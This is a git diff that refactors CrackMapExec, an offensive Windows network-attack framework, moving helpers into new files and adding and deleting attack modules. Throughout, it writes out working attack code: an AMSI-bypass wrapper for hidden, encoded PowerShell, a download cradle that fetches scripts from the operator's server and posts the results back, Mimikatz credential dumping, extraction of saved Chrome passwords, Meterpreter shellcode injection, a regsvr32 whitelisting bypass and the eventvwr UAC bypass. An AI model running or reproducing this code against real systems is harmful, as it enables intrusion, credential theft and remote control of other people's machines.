except KeyError:
continue
c.execute('''CREATE TABLE "hosts" (
"id" integer PRIMARY KEY,
"ip" text,
"hostname" text,
"domain" test,
"os" text
)''')
proto_db_path = os.path.join(WS_PATH, 'default', protocol + '.db')
#This table keeps track of which credential has admin access over which machine and vice-versa
c.execute('''CREATE TABLE "links" (
"id" integer PRIMARY KEY,
"credid" integer,
"hostid" integer
)''')
if not os.path.exists(proto_db_path):
logger.info('Initializing {} protocol database'.format(protocol.upper()))
conn = sqlite3.connect(proto_db_path)
c = conn.cursor()
# type = hash, plaintext
c.execute('''CREATE TABLE "credentials" (
"id" integer PRIMARY KEY,
"credtype" text,
"domain" text,
"username" text,
"password" text,
"pillagedfrom" integer
)''')
# try to prevent some of the weird sqlite I/O errors
c.execute('PRAGMA journal_mode = OFF')
c.execute('PRAGMA foreign_keys = 1')
# commit the changes and close everything off
conn.commit()
conn.close()
getattr(protocol_object, 'database').db_schema(c)
# commit the changes and close everything off
conn.commit()
conn.close()
if not os.path.exists(CONFIG_PATH):
logger.info('Copying default configuration file')
@ -79,4 +72,4 @@ def first_run_setup(logger):
logger.error('Error while generating SSL certificate: {}'.format(e))
exit(1)
os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH))
os.system('openssl req -new -x509 -keyout {path} -out {path} -days 365 -nodes -subj "/C=US" > /dev/null 2>&1'.format(path=CERT_PATH))

View File

13
cme/helpers/logger.py Executable file
View File

@ -0,0 +1,13 @@
import os
from termcolor import colored
def write_log(data, log_name):
logs_dir = os.path.join(os.path.expanduser('~/.cme'), 'logs')
with open(os.path.join(logs_dir, log_name), 'w') as log_output:
log_output.write(data)
def highlight(text, color='yellow'):
if color == 'yellow':
return u'{}'.format(colored(text, 'yellow', attrs=['bold']))
elif color == 'red':
return u'{}'.format(colored(text, 'red', attrs=['bold']))

13
cme/helpers/misc.py Executable file
View File

@ -0,0 +1,13 @@
import random
import string
import re
def gen_random_string(length=10):
return ''.join(random.sample(string.ascii_letters, int(length)))
def validate_ntlm(data):
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
if allowed.match(data):
return True
else:
return False

56
cme/helpers.py → cme/helpers/powershell.py Normal file → Executable file
View File

@ -1,30 +1,12 @@
import random
import string
import re
import cme
import os
import logging
import re
from base64 import b64encode
from termcolor import colored
def gen_random_string(length=10):
return ''.join(random.sample(string.ascii_letters, int(length)))
def validate_ntlm(data):
allowed = re.compile("^[0-9a-f]{32}", re.IGNORECASE)
if allowed.match(data):
return True
else:
return False
def get_ps_script(path):
return os.path.join(os.path.dirname(cme.__file__), 'data', path)
def write_log(data, log_name):
logs_dir = os.path.join(os.path.expanduser('~/.cme'), 'logs')
with open(os.path.join(logs_dir, log_name), 'w') as mimikatz_output:
mimikatz_output.write(data)
def obfs_ps_script(script):
"""
Strip block comments, line comments, empty lines, verbose statements,
@ -38,7 +20,7 @@ def obfs_ps_script(script):
def create_ps_command(ps_command, force_ps32=False, nothidden=False):
ps_command = """[Net.ServicePointManager]::ServerCertificateValidationCallback = {{$true}};
try{{
try{{
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null, $true)
}}catch{{}}
{}
@ -48,9 +30,9 @@ try{{
if force_ps32:
command = """$command = '{}'
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
if ($Env:PROCESSOR_ARCHITECTURE -eq 'AMD64')
{{
$exec = $Env:windir + '\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded ' + $command
IEX $exec
}}
@ -61,7 +43,7 @@ else
IEX $exec
}}""".format(b64encode(ps_command.encode('UTF-16LE')))
if nothidden is True:
command = 'powershell.exe -exec bypass -window maximized -encoded {}'.format(b64encode(command.encode('UTF-16LE')))
else:
@ -73,10 +55,26 @@ else
else:
command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(ps_command.encode('UTF-16LE')))
return command
return command
def highlight(text, color='yellow'):
if color == 'yellow':
return u'{}'.format(colored(text, 'yellow', attrs=['bold']))
elif color == 'red':
return u'{}'.format(colored(text, 'red', attrs=['bold']))
def gen_ps_iex_cradle(server, addr, port, script_name, command):
launcher = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/{ps_script_name}');
$cmd = {command};
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($cmd);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();'''.format(server=server,
port=port,
addr=addr,
ps_script_name=script_name,
command=command)
logging.debug('Generated PS IEX Launcher:\n {}'.format(launcher))
return launcher

0
cme/enum/__init__.py → cme/loaders/__init__.py Normal file → Executable file
View File

44
cme/moduleloader.py → cme/loaders/module_loader.py Normal file → Executable file
View File

@ -2,12 +2,10 @@ import imp
import os
import sys
import cme
from logging import getLogger
from cme.context import Context
from cme.logger import CMEAdapter
from cme.cmeserver import CMEServer
class ModuleLoader:
class module_loader:
def __init__(self, args, db, logger):
self.args = args
@ -26,22 +24,18 @@ class ModuleLoader:
self.logger.error('{} missing the description variable'.format(module_path))
module_error = True
elif not hasattr(module, 'chain_support'):
self.logger.error('{} missing the chain_support variable'.format(module_path))
module_error = True
#elif not hasattr(module, 'chain_support'):
# self.logger.error('{} missing the chain_support variable'.format(module_path))
# module_error = True
elif not hasattr(module, 'supported_protocols'):
self.logger.error('{} missing the supported_protocols variable'.format(module_path))
module_error = True
elif not hasattr(module, 'options'):
self.logger.error('{} missing the options function'.format(module_path))
module_error = True
elif not hasattr(module, 'launcher'):
self.logger.error('{} missing the launcher function'.format(module_path))
module_error = True
elif not hasattr(module, 'payload'):
self.logger.error('{} missing the payload function'.format(module_path))
module_error = True
elif not hasattr(module, 'on_login') and not (module, 'on_admin_login'):
self.logger.error('{} missing the on_login/on_admin_login function(s)'.format(module_path))
module_error = True
@ -67,22 +61,19 @@ class ModuleLoader:
if module[-3:] == '.py' and module != 'example_module.py':
module_path = os.path.join(path, module)
m = self.load_module(os.path.join(path, module))
if m:
modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__, 'chain_support': m.chain_support}
if m and (self.args.protocol in m.supported_protocols):
modules[m.name] = {'path': os.path.join(path, module), 'description': m.description, 'options': m.options.__doc__}#'chain_support': m.chain_support}
return modules
def init_module(self, module_path):
module = None
server = None
context = None
server_port_dict = {'http': 80, 'https': 443}
module = self.load_module(module_path)
if module:
module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper()})
module_logger = CMEAdapter(extra={'module': module.name.upper()})
context = Context(self.db, module_logger, self.args)
module_options = {}
@ -93,15 +84,4 @@ class ModuleLoader:
module.options(context, module_options)
if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
if hasattr(module, 'required_server'):
self.args.server = getattr(module, 'required_server')
if not self.args.server_port:
self.args.server_port = server_port_dict[self.args.server]
server = CMEServer(module, context, self.logger, self.args.server_host, self.args.server_port, self.args.server)
server.start()
return module, context, server
return module

36
cme/loaders/protocol_loader.py Executable file
View File

@ -0,0 +1,36 @@
import imp
import os
import sys
import cme
class protocol_loader:
def __init__(self):
self.cme_path = os.path.expanduser('~/.cme')
def load_protocol(self, protocol_path):
protocol = imp.load_source('protocol', protocol_path)
#if self.module_is_sane(module, module_path):
return protocol
def get_protocols(self):
protocols = {}
protocol_paths = [os.path.join(os.path.dirname(cme.__file__), 'protocols'), os.path.join(self.cme_path, 'protocols')]
for path in protocol_paths:
for protocol in os.listdir(path):
if protocol[-3:] == '.py' and protocol[:-3] != '__init__':
protocol_path = os.path.join(path, protocol)
protocol_name = protocol[:-3]
protocols[protocol_name] = {'path' : protocol_path}
db_file_path = os.path.join(path, protocol_name, 'database.py')
db_nav_path = os.path.join(path, protocol_name, 'db_navigator.py')
if os.path.exists(db_file_path):
protocols[protocol_name]['dbpath'] = db_file_path
if os.path.exists(db_nav_path):
protocols[protocol_name]['nvpath'] = db_nav_path
return protocols

14
cme/logger.py Normal file → Executable file
View File

@ -5,7 +5,7 @@ from termcolor import colored
from datetime import datetime
#The following hooks the FileHandler.emit function to remove ansi chars before logging to a file
#There must be a better way of doing this...
#There must be a better way of doing this, but this way we might save some penguins!
ansi_escape = re.compile(r'\x1b[^m]*m')
@ -23,8 +23,8 @@ logging.FileHandler.emit = antiansi_emit
class CMEAdapter(logging.LoggerAdapter):
def __init__(self, logger, extra=None):
self.logger = logger
def __init__(self, logger_name='CME', extra=None):
self.logger = logging.getLogger(logger_name)
self.extra = extra
def process(self, msg, kwargs):
@ -43,12 +43,12 @@ class CMEAdapter(logging.LoggerAdapter):
if 'module' in self.extra.keys():
module_name = colored(self.extra['module'], 'cyan', attrs=['bold'])
else:
module_name = colored('CME', 'blue', attrs=['bold'])
module_name = colored(self.extra['protocol'], 'blue', attrs=['bold'])
return u'{:<25} {}:{} {:<15} {}'.format(module_name,
self.extra['host'],
self.extra['port'],
self.extra['hostname'].decode('utf-8') if self.extra['hostname'] else 'NONE',
self.extra['port'],
self.extra['hostname'].decode('utf-8') if self.extra['hostname'] else 'NONE',
msg), kwargs
def info(self, msg, *args, **kwargs):
@ -111,4 +111,4 @@ def setup_logger(level=logging.INFO, log_to_file=False, log_prefix=None, logger_
cme_logger.setLevel(level)
return cme_logger
return cme_logger

View File

@ -1,87 +0,0 @@
import imp
import os
import sys
import cme
from logging import getLogger
from cme.context import Context
from cme.logger import CMEAdapter
from cme.cmechainserver import CMEChainServer
from cme.moduleloader import ModuleLoader
class ModuleChainLoader(ModuleLoader):
def __init__(self, args, db, logger):
ModuleLoader.__init__(self, args, db, logger)
self.chain_list = []
#This parses the chain command
for module in self.args.module_chain.split('=>'):
if '[' in module:
module_name = module.split('[')[0]
module_options = module.split('[')[1][:-1]
module_dict = {'name': module_name}
module_dict['options'] = {}
for option in module_options.split(';;'):
key, value = option.split('=', 1)
if value[:1] == ('"' or "'") and value[-1:] == ('"' or "'"):
value = value[1:-1]
module_dict['options'][str(key).upper()] = value
self.chain_list.append(module_dict)
else:
module_dict = {'name': module}
module_dict['options'] = {}
self.chain_list.append(module_dict)
def is_module_chain_sane(self):
last_module = self.chain_list[-1]['name']
#Confirm that every chained module (except for the last one) actually supports chaining
for module in self.chain_list:
if module['name'] == last_module:
continue
module_object = module['object']
if getattr(module_object, 'chain_support') is not True:
return False
return True
def init_module_chain(self):
server_port_dict = {'http': 80, 'https': 443}
modules = self.get_modules()
#Initialize all modules specified in the chain command and add the objects to chain_list
for chained_module in self.chain_list:
for module in modules:
if module.lower() == chained_module['name'].lower():
chained_module['object'] = self.load_module(modules[module]['path'])
for module in self.chain_list:
module_logger = CMEAdapter(getLogger('CME'), {'module': module['name'].upper()})
context = Context(self.db, module_logger, self.args)
if module['object'] != self.chain_list[-1]['object']: module['options']['COMMAND'] = 'dont notice me senpai'
getattr(module['object'], 'options')(context, module['options'])
if hasattr(module['object'], 'required_server'):
self.args.server = getattr(module['object'], 'required_server')
if not self.args.server_port:
self.args.server_port = server_port_dict[self.args.server]
if self.is_module_chain_sane():
server_logger = CMEAdapter(getLogger('CME'), {'module': 'CMESERVER'})
context = Context(self.db, server_logger, self.args)
server = CMEChainServer(self.chain_list, context, self.logger, self.args.server_host, self.args.server_port, self.args.server)
server.start()
return self.chain_list, server
return None, None

View File

@ -1,99 +0,0 @@
from cme.helpers import gen_random_string
from sys import exit
import os
class CMEModule:
'''
Executes a command using a COM scriptlet to bypass whitelisting (a.k.a squiblydoo)
Based on the awesome research by @subtee
https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302
http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html
'''
name='com_exec' #Really tempted just to call this squiblydoo
description = 'Executes a command using a COM scriptlet to bypass whitelisting'
required_server='http'
chain_support = True
def options(self, context, module_options):
'''
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
'''
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
context.log.error('COMMAND or CMDFILE options are required!')
exit(1)
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
exit(1)
if 'COMMAND' in module_options:
self.command = module_options['COMMAND']
elif 'CMDFILE' in module_options:
path = os.path.expanduser(module_options['CMDFILE'])
if not os.path.exists(path):
context.log.error('Path to CMDFILE invalid!')
exit(1)
with open(path, 'r') as cmdfile:
self.command = cmdfile.read().strip()
self.sct_name = gen_random_string(5)
def launcher(self, context, command):
launcher = 'regsvr32.exe /u /n /s /i:http://{}/{}.sct scrobj.dll'.format(context.localip, self.sct_name)
return launcher
def payload(self, context, command):
command = command.replace('\\', '\\\\')
command = command.replace('"', '\\"')
command = command.replace("'", "\\'")
payload = '''<?XML version="1.0"?>
<scriptlet>
<registration
description="Win32COMDebug"
progid="Win32COMDebug"
version="1.00"
classid="{{AAAA1111-0000-0000-0000-0000FEEDACDC}}"
>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run('{}');
]]>
</script>
</registration>
<public>
<method name="Exec"></method>
</public>
</scriptlet>'''.format(command)
context.log.debug('Generated payload:\n' + payload)
return payload
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed squiblydoo')
def on_request(self, context, request, launcher, payload):
if '{}.sct'.format(self.sct_name) in request.path[1:]:
request.send_response(200)
request.end_headers()
request.wfile.write(payload)
request.stop_tracking_host()
else:
request.send_response(404)
request.end_headers()

View File

@ -1,67 +0,0 @@
import sys
import requests
from requests import ConnectionError
#The following disables the InsecureRequests warning and the 'Starting new HTTPS connection' log message
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
class CMEModule:
'''
Uses Empire's RESTful API to generate a launcher for the specified listener and executes it
Module by @byt3bl33d3r
'''
name='empire_exec'
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
chain_support = False
def options(self, context, module_options):
'''
LISTENER Listener name to generate the launcher for
'''
if not 'LISTENER' in module_options:
context.log.error('LISTENER option is required!')
sys.exit(1)
self.empire_launcher = None
headers = {'Content-Type': 'application/json'}
#Pull the username and password from the config file
payload = {'username': context.conf.get('Empire', 'username'),
'password': context.conf.get('Empire', 'password')}
#Pull the host and port from the config file
base_url = 'https://{}:{}'.format(context.conf.get('Empire', 'api_host'), context.conf.get('Empire', 'api_port'))
try:
r = requests.post(base_url + '/api/admin/login', json=payload, headers=headers, verify=False)
if r.status_code == 200:
token = r.json()['token']
payload = {'StagerName': 'launcher', 'Listener': module_options['LISTENER']}
r = requests.post(base_url + '/api/stagers?token={}'.format(token), json=payload, headers=headers, verify=False)
self.empire_launcher = r.json()['launcher']['Output']
context.log.success("Successfully generated launcher for listener '{}'".format(module_options['LISTENER']))
else:
context.log.error("Error authenticating to Empire's RESTful API server!")
sys.exit(1)
except ConnectionError as e:
context.log.error("Unable to connect to Empire's RESTful API: {}".format(e))
sys.exit(1)
def launcher(self, context, command):
return self.empire_launcher
def payload(self, context, command):
return
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed Empire Launcher')

View File

@ -1,131 +0,0 @@
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, validate_ntlm, write_log
from datetime import datetime
from StringIO import StringIO
import re
class CMEModule:
'''
Executes PowerSploit's Invoke-Mimikatz.ps1 script (Mimikatz's DPAPI Module) to decrypt saved Chrome passwords
Module by @byt3bl33d3r
'''
name = 'enum_chrome'
description = "Uses Powersploit's Invoke-Mimikatz.ps1 script to decrypt saved Chrome passwords"
chain_support = False
def options(self, context, module_options):
'''
'''
return
def launcher(self, context, command):
'''
Oook.. Think my heads going to explode
So Mimikatz's DPAPI module requires the path to Chrome's database in double quotes otherwise it can't interpret paths with spaces.
Problem is Invoke-Mimikatz interpretes double qoutes as seperators for the arguments to pass to the injected mimikatz binary.
As far as I can figure out there is no way around this, hence we have to first copy Chrome's database to a path without any spaces and then decrypt the entries with Mimikatz
'''
launcher = '''
$cmd = "privilege::debug sekurlsa::dpapi"
$userdirs = get-childitem "$Env:SystemDrive\Users"
foreach ($dir in $userdirs) {{
$LoginDataPath = "$Env:SystemDrive\Users\$dir\AppData\Local\Google\Chrome\User Data\Default\Login Data"
if ([System.IO.File]::Exists($LoginDataPath)) {{
$rand_name = -join ((65..90) + (97..122) | Get-Random -Count 7 | % {{[char]$_}})
$temp_path = "$Env:windir\Temp\$rand_name"
Copy-Item $LoginDataPath $temp_path
$cmd = $cmd + " `"dpapi::chrome /in:$temp_path`""
}}
}}
$cmd = $cmd + " exit"
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
$creds = Invoke-Mimikatz -Command $cmd;
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();'''.format(server=context.server,
port=context.server_port,
addr=context.localip)
return create_ps_command(launcher)
def payload(self, context, command):
'''
Since the chrome decryption feature is relatively new, I had to manully compile the latest Mimikatz version,
update the base64 encoded binary in the Invoke-Mimikatz.ps1 script
and apply a patch that @gentilkiwi posted here https://github.com/PowerShellMafia/PowerSploit/issues/147 for the newer versions of mimikatz to work when injected.
Here we call the updated PowerShell script instead of PowerSploits version
'''
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher, methods=['smbexec', 'atexec'])
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
request.wfile.write(payload)
else:
request.send_response(404)
request.end_headers()
def on_response(self, context, response):
response.send_response(200)
response.end_headers()
length = int(response.headers.getheader('content-length'))
data = response.rfile.read(length)
#We've received the response, stop tracking this host
response.stop_tracking_host()
if len(data):
buf = StringIO(data).readlines()
creds = []
try:
i = 0
while i < len(buf):
if ('URL' in buf[i]):
url = buf[i].split(':', 1)[1].strip()
user = buf[i+1].split(':', 1)[1].strip()
passw = buf[i+3].split(':', 1)[1].strip()
creds.append({'url': url, 'user': user, 'passw': passw})
i += 1
if creds:
context.log.success('Found saved Chrome credentials:')
for cred in creds:
context.log.highlight('URL: ' + cred['url'])
context.log.highlight('Username: ' + cred['user'])
context.log.highlight('Password: ' + cred['passw'])
context.log.highlight('')
except:
context.log.error('Error parsing Mimikatz output, please check log file manually for possible credentials')
log_name = 'EnumChrome-{}-{}.log'.format(response.client_address[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
write_log(data, log_name)
context.log.info("Saved Mimikatz's output to {}".format(log_name))

View File

@ -1,76 +0,0 @@
from cme.helpers import create_ps_command, get_ps_script
from sys import exit
class CMEModule:
'''
Executes a command using the the eventvwr.exe fileless UAC bypass
Powershell script and vuln discovery by Matt Nelson (@enigma0x3)
module by @byt3bl33d3r
'''
name = 'eventvwr_bypass'
description = 'Executes a command using the eventvwr.exe fileless UAC bypass'
chain_support = True
def options(self, context, module_options):
'''
COMMAND Command to execute on the target system(s) (Required if CMDFILE isn't specified)
CMDFILE File contaning the command to execute on the target system(s) (Required if CMD isn't specified)
'''
if not 'COMMAND' in module_options and not 'CMDFILE' in module_options:
context.log.error('COMMAND or CMDFILE options are required!')
exit(1)
if 'COMMAND' in module_options and 'CMDFILE' in module_options:
context.log.error('COMMAND and CMDFILE are mutually exclusive!')
exit(1)
if 'COMMAND' in module_options:
self.command = module_options['COMMAND']
elif 'CMDFILE' in module_options:
path = os.path.expanduser(module_options['CMDFILE'])
if not os.path.exists(path):
context.log.error('Path to CMDFILE invalid!')
exit(1)
with open(path, 'r') as cmdfile:
self.command = cmdfile.read().strip()
def launcher(self, context, command):
launcher = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-EventVwrBypass.ps1');
Invoke-EventVwrBypass -Force -Command "{command}";
'''.format(server=context.server,
addr=context.localip,
port=context.server_port,
command=command)
return create_ps_command(launcher)
def payload(self, context, command):
with open(get_ps_script('Invoke-EventVwrBypass.ps1'), 'r') as ps_script:
return ps_script.read()
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if request.path[1:] == 'Invoke-EventVwrBypass.ps1':
request.send_response(200)
request.end_headers()
request.wfile.write(payload)
request.stop_tracking_host()
else:
request.send_response(404)
request.end_headers()

View File

@ -4,38 +4,28 @@ class CMEModule:
Module by @yomama
'''
name = 'example module'
description = 'Something Something'
description = 'I do something'
#If the module supports chaining, change this to True
chain_support = False
supported_protocols = []
def options(self, context, module_options):
'''Required. Module options get parsed here. Additionally, put the modules usage here as well'''
pass
def launcher(self, context, command):
'''Required. Generate your launcher here'''
pass
def payload(self, context, command):
'''Required. Generate your payload here'''
pass
def on_login(self, context, connection):
'''Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection'''
pass
def on_admin_login(self, context, connection, launcher, payload):
def on_admin_login(self, context, connection):
'''Concurrent. Required if on_login is not present. This gets called on each authenticated connection with Administrative privileges'''
pass
def on_request(self, context, request, launcher, payload):
def on_request(self, context, request):
'''Optional. If the payload needs to retrieve additonal files, add this function to the module'''
pass
def on_response(self, context, response):
'''Optional. If the payload sends back its output to our server, add this function to the module to handle its output'''
pass
pass

View File

@ -0,0 +1,55 @@
from cme.helpers.powershell import *
from cme.helpers.logger import write_log, highlight
from datetime import datetime
class CMEModule():
name = 'get_netdomaincontroller'
description = "Wrapper for PowerView's Get-NetDomainController"
supported_protocols = ['mssql', 'smb']
def options(self, context, module_options):
pass
def on_admin_login(self, context, connection):
command = 'Get-NetDomainController | select Name,Domain,IPAddress | Out-String'
launcher = gen_ps_iex_cradle(context.server, context.localip, context.server_port, 'PowerView.ps1', command)
ps_command = create_ps_command(launcher)
connection.execute(ps_command, methods=['smbexec', 'atexec'])
context.log.success('Executed launcher')
def on_request(self, context, request):
if 'PowerView.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script:
payload = obfs_ps_script(ps_script.read())
request.wfile.write(payload)
else:
request.send_response(404)
request.end_headers()
def on_response(self, context, response):
response.send_response(200)
response.end_headers()
length = int(response.headers.getheader('content-length'))
data = response.rfile.read(length)
#We've received the response, stop tracking this host
response.stop_tracking_host()
dc_count = 0
if len(data):
context.log.info('Parsing output, please wait...')
buf = StringIO(data).readlines()
for line in buf:
if line != '\r\n' and not line.startswith('Name') and not line.startswith('---'):
hostname, domain, ip = filter(None, line.strip().split(' '))
#logging.debug('{} {} {}'.format(hostname, domain, ip))
context.db.add_host(ip, hostname, domain, '', dc=True)
dc_count += 1
context.log.success('Added {} Domain Controllers to the database'.format(highlight(dc_count)))

View File

@ -0,0 +1,66 @@
from cme.helpers.powershell import *
from cme.helpers.logger import write_log, highlight
from datetime import datetime
class CMEModule():
name = 'get_netgroup'
description = "Wrapper for PowerView's Get-NetGroup"
supported_protocols = ['mssql', 'smb']
def options(self, context, module_options):
'''
GROUPNAME Return all groups with the specifed string in their name (supports regex)
USERNAME Return all groups that the specifed user belongs to (supports regex)
'''
self.group_name = None
self.user_name = None
self.domain = None
if module_options and 'GROUPNAME' in module_options:
self.group_name = module_options['GROUPNAME']
def on_admin_login(self, context, connection):
self.domain = connection.conn.getServerDomain()
command = 'Get-NetGroup | Out-String'
if self.group_name : command = 'Get-NetGroup -GroupName {} | Out-String'.format(self.group_name)
launcher = gen_ps_iex_cradle(context.server, context.localip, context.server_port, 'PowerView.ps1', command)
ps_command = create_ps_command(launcher)
connection.execute(ps_command, methods=['smbexec', 'atexec'])
context.log.success('Executed launcher')
def on_request(self, context, request):
if 'PowerView.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
with open(get_ps_script('PowerSploit/Recon/PowerView.ps1'), 'r') as ps_script:
payload = obfs_ps_script(ps_script.read())
request.wfile.write(payload)
else:
request.send_response(404)
request.end_headers()
def on_response(self, context, response):
response.send_response(200)
response.end_headers()
length = int(response.headers.getheader('content-length'))
data = response.rfile.read(length)
#We've received the response, stop tracking this host
response.stop_tracking_host()
group_count = 0
if len(data):
context.log.info('Parsing output, please wait...')
buf = StringIO(data).readlines()
for line in buf:
context.db.add_group(self.domain, line.strip())
group_count += 1
context.log.success('Added {} groups to the database'.format(highlight(group_count)))

View File

@ -1,90 +0,0 @@
from cme.helpers import create_ps_command, obfs_ps_script, get_ps_script
from sys import exit
class CMEModule:
'''
Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
Module by @byt3bl33d3r
'''
name = 'met_inject'
description = "Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script"
chain_support = False
def options(self, context, module_options):
'''
LHOST IP hosting the handler
LPORT Handler port
PAYLOAD Payload to inject: reverse_http or reverse_https (default: reverse_https)
PROCID Process ID to inject into (default: current powershell process)
'''
if not 'LHOST' in module_options or not 'LPORT' in module_options:
context.log.error('LHOST and LPORT options are required!')
exit(1)
self.met_payload = 'reverse_https'
self.lhost = None
self.lport = None
self.procid = None
if 'PAYLOAD' in module_options:
self.met_payload = module_options['PAYLOAD']
if 'PROCID' in module_options:
self.procid = module_options['PROCID']
self.lhost = module_options['LHOST']
self.lport = module_options['LPORT']
def launcher(self, context, command):
#PowerSploit's 3.0 update removed the Meterpreter injection options in Invoke-Shellcode
#so now we have to manually generate a valid Meterpreter request URL and download + exec the staged shellcode
launcher = """
IEX (New-Object Net.WebClient).DownloadString('{}://{}:{}/Invoke-Shellcode.ps1')
$CharArray = 48..57 + 65..90 + 97..122 | ForEach-Object {{[Char]$_}}
$SumTest = $False
while ($SumTest -eq $False)
{{
$GeneratedUri = $CharArray | Get-Random -Count 4
$SumTest = (([int[]] $GeneratedUri | Measure-Object -Sum).Sum % 0x100 -eq 92)
}}
$RequestUri = -join $GeneratedUri
$Request = "{}://{}:{}/$($RequestUri)"
$WebClient = New-Object System.Net.WebClient
[Byte[]]$bytes = $WebClient.DownloadData($Request)
Invoke-Shellcode -Force -Shellcode $bytes""".format(context.server,
context.localip,
context.server_port,
'http' if self.met_payload == 'reverse_http' else 'https',
self.lhost,
self.lport)
if self.procid:
launcher += " -ProcessID {}".format(self.procid)
return create_ps_command(launcher, force_ps32=True)
def payload(self, context, command):
with open(get_ps_script('PowerSploit/CodeExecution/Invoke-Shellcode.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
if 'Invoke-Shellcode.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
request.wfile.write(payload)
request.stop_tracking_host()
else:
request.send_response(404)
request.end_headers()

View File

@ -1,4 +1,7 @@
from cme.helpers import create_ps_command, get_ps_script, obfs_ps_script, validate_ntlm, write_log
from cme.helpers.powershell import *
from cme.helpers.misc import validate_ntlm
from cme.helpers.logger import write_log
from StringIO import StringIO
from datetime import datetime
import re
@ -12,7 +15,7 @@ class CMEModule:
description = "Executes PowerSploit's Invoke-Mimikatz.ps1 script"
chain_support = False
supported_protocols = ['mssql', 'smb']
def options(self, context, module_options):
'''
@ -26,39 +29,24 @@ class CMEModule:
#context.log.debug("Mimikatz command: '{}'".format(self.mimikatz_command))
def launcher(self, context, command):
launcher = '''
IEX (New-Object Net.WebClient).DownloadString('{server}://{addr}:{port}/Invoke-Mimikatz.ps1');
$creds = Invoke-Mimikatz -Command '{command}';
$request = [System.Net.WebRequest]::Create('{server}://{addr}:{port}/');
$request.Method = 'POST';
$request.ContentType = 'application/x-www-form-urlencoded';
$bytes = [System.Text.Encoding]::ASCII.GetBytes($creds);
$request.ContentLength = $bytes.Length;
$requestStream = $request.GetRequestStream();
$requestStream.Write( $bytes, 0, $bytes.Length );
$requestStream.Close();
$request.GetResponse();'''.format(server=context.server,
port=context.server_port,
addr=context.localip,
command=command)
return create_ps_command(launcher)
def on_admin_login(self, context, connection):
def payload(self, context, command):
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
return obfs_ps_script(ps_script.read())
command = "Invoke-Mimikatz -Command '{}'".format(self.command)
launcher = gen_ps_iex_cradle(context.server, context.localip, context.server_port, 'Invoke-Mimikatz.ps1', command)
def on_admin_login(self, context, connection, launcher, payload):
connection.execute(launcher)
ps_command = create_ps_command(launcher)
connection.execute(ps_command)
context.log.success('Executed launcher')
def on_request(self, context, request, launcher, payload):
def on_request(self, context, request):
if 'Invoke-Mimikatz.ps1' == request.path[1:]:
request.send_response(200)
request.end_headers()
request.wfile.write(payload)
with open(get_ps_script('Invoke-Mimikatz.ps1'), 'r') as ps_script:
payload = obfs_ps_script(ps_script.read())
request.wfile.write(payload)
else:
request.send_response(404)
@ -68,7 +56,7 @@ class CMEModule:
"""
uniquify mimikatz tuples based on the password
cred format- (credType, domain, username, password, hostname, sid)
Stolen from the Empire project.
"""
seen = set()
@ -113,7 +101,7 @@ class CMEModule:
